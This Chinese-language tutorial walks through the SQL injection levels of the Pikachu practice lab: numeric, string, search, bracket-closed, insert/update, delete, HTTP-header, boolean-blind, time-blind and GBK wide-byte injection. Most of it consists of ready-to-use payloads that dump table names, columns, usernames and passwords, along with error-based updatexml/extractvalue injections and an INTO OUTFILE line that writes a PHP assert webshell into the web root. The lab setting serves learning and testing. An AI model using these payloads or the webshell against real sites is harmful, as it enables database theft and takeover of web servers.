赞
踩
一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本
抓包,发现它是post型,且可以修改id值
思考服务端的查询操作:
用户将id值post给服务器, 服务器接受到id值之后, 进行到数据库查询, 返回id值对应的用户名和邮箱。
查询的语句可能是:
SELECT * FROM users WHERE id=$id; // 整数型
SELECT * FROM users WHERE id='$id'; // 字符型
这里用hackbar进行post注入,将burpsuite抓到的post语句写入hackbar
判断是否有注入点,出现下面的情况则可能有注入点
id=2 and 1=1 页面正常
id=2 and 1=2 页面错误
id=2 order by x(数字)x取正常与错误的正常值
当x=2时没有报错
当x=3时报错,所以这里字段数取为2
这里将id值设置成不成立,即可探测到可利用的字段数
id=-1 union select 1,2
利用以下函数可以得到所探测数据库的信息,也就是说把字段数换为下面的函数:
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
查看它的数据库用户和数据库名字:
查看数据库版本和操作系统:
利用 union select 联合查询,获取表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
利用 union select 联合查询,获取字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
id=-1 union select username,password from users
读取自己写的文件test.txt:
id=-1 union select load_file('D:/test.txt'),2
id=-1 union select 1,'<?php assert($_POST[1];)?>' into outfile 'D:/tool/phpstudy_pro/WWW/127.0.0.1/pikachu/vul/sqli/1.php'
虽然出现报错,但是马其实已经写好了
根据路径查看文件:
这次是GET型, 相对没有POST型那么安全。
由于本题是字符串型注入,所以在查询语句中需要有单引号。
猜测后台的SQL查询语句为:
SELECT * FROM users WHERE username='$username';
如果没有对单引号进行过滤处理的话, 这样的sql语句很容易被闭合绕过而加入新的恶意语句,
比如username值为:kobe' and 1=1 #
这里的’闭合了前面的语句,#注释掉后面的语句,and前后的语句都是正确的
判断是否有注入点
name=kobe' and 1=1%23
页面正确(#编码为%23)
name=kobe' and 1=2%23
,页面错误,所以有注入点
由于跟第一关的步骤类似,这里简单写一下:
name=kobe' order by 2%23
正确
name=kobe' order by 3%23
错误
所以字段数为2
为了方便看随便写一个name
name=kk' union select database(),version()%23
后面的步骤与第一关类似
本关是搜索型注入,常见是使用like进行查找搜索,数据库的搜索语句一般是
select * from 表名 where username like '%$name%'
所以只需要闭合掉前面的 '% 和后面的 %‘ 即可成功注入
还是一样的步骤,利用order判断字段数
name=kobe%' order by 3%23
正确
name=kobe%' order by 4%23
错误
所以字段数为3
后面步骤类似
所谓的XX型注入, 就是输入的值可能被各种各样的符合闭合 (比如, 单引号双引号括号等),所以我们需要找到闭合
我们先输入常见的单引号:
name=kobe'
根据报错信息,可以推测出数据库的查询语句为:
select * from users where username=('$name');
它的闭合为’)
还是一样的步骤,先获取当前页面的字段
name=kobe') order by 2%23
后面步骤类似
填写注册信息,并抓包
产生insert/update注入, 是因为在用户注册和更新信息的时候存在注入点
这里先分析insert注入
insert注入存在于用户注册时候的过程, 当用户注册新信息并提交服务器的时候, 服务端采用insert来将信息插入数据库
由此得知sql语句可能为:
insert into users(username,password) values($username,$password);
当update时, 也是如此:
update users set username=$username,password=$password where username=$username;
法一:用updatexml()进行报错注入
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
username=x' or updatexml(1,concat(0x7e,(version()),0x7e),0) or'&password=a&sex=a&phonenum=a&email=a&add=a&submit=submit
法二:使用extractvalue()来进行报错注入:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串).
作用:从目标XML中返回包含所查询值的字符串
能够用于注入是因为,当xpath不符合语法时,该语句会报错 XPATH syntax error : (注入信息), 故可以将待查询的信息放入xpath中,通过报错回显出来。
username=x' or extractvalue(1,concat(0x7e,(version()),0x7e)) or'&password=a&sex=a&phonenum=a&email=a&add=a&submit=submit
delete也是利用报错进行sql盲注。
在删掉留言的时候抓包,发现有id,我们就利用这个id作一个报错注入。
这里用updatexml函数
/pikachu/vul/sqli/sqli_del.php?id=66+or+updatexml+(1,concat(0x7e,database(),0x7e),0)
一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。
根据提示先登录,在点击退出的时候进行抓包
将User-Agent和Accept随便换成一个值,并在后面加上单引号,发现有报错回显
猜测这关比较可能是insert或者update语句,所以来试一下报错注入
在User-Agent后面加入updatexml函数:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
这关要用到的函数:
在有些情况下,后台使用了错误屏蔽方法屏蔽了报错, 此时无法根据报错信息来进行注入的判断这种情况下的注入,称为“盲注”
也就是说, 我们只能通过页面是否正确来判断注入的SQL语句是否被成功执行, 事实上, 现在很多网站也都是盲注类型。
在布尔盲注的过程中, 页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
当前数据库database()的长度大于7,返回true页面,否则FALSE页面:
kobe'and length(database())>7 %23
页面错误
kobe'and length(database())>6 %23
页面正确
kobe'and length(database())=7 %23
页面正确,所以database的长度为7
再用ascii和substr函数猜当前数据库第一个字符
kobe' and ascii(substr(database(),1,1))>114%23
页面错误
kobe' and ascii(mid(database(),1,1))>112 #
页面错误
kobe' and ascii(mid(database(),1,1))=112 #
页面正确
所以第一个字符为p,后面依次爆字符,推出数据库的名字为pikachu。
爆数据库的个数和表名也是类似的操作。
跟布尔盲注基本上大同小异,但是是利用了sleep这个函数,如果成功执行了,就延时xxxx秒。
本题不管你输入什么,都是一样的回显,这就是经典的延时注入。
输入kobe' and sleep(5)#
,可以清楚地看到,的的确确延时了5秒,说明存在该漏洞。
kobe' and sleep(if(length(database())>7,0,3)) # ==> 延时
kobe' and sleep(if(length(database())=7,0,3)) # ==> 不延时
说明数据库的长度为7
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
构造payload过滤掉他的转义
kobe%df' or 1=1#
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。